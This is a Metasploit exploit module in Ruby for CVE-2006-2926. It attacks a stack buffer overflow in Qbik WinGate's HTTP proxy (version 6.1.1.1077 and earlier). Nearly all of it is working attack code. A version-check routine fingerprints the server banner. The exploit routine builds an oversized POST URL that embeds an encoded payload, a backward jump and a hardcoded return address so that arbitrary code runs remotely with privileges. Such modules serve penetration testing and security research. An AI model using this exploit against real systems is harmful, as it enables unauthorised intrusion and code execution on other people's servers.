Qbik WinGate WWW Proxy Server URL Processing Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Qbik WinGate version
        6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
        HTTP proxy service on port 80, a remote attacker could overflow
        a buffer and execute arbitrary code.
      },
      'Author'         => 'aushack',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-2926' ],
          [ 'OSVDB', '26214' ],
          [ 'BID', '18312' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2006-06-07',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def check
    connect
    sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
    banner = sock.get_once || ''
    if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    buff = Rex::Text.rand_text_alphanumeric(3000)
    buff[1200, 1000] = payload.encoded # jmp here
    buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
    buff[2284, 4] = [target['Ret']].pack('V') #eip

    sploit  = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"

    sock.put(sploit)
    sock.get_once(-1, 3)

    handler
    disconnect
  end
end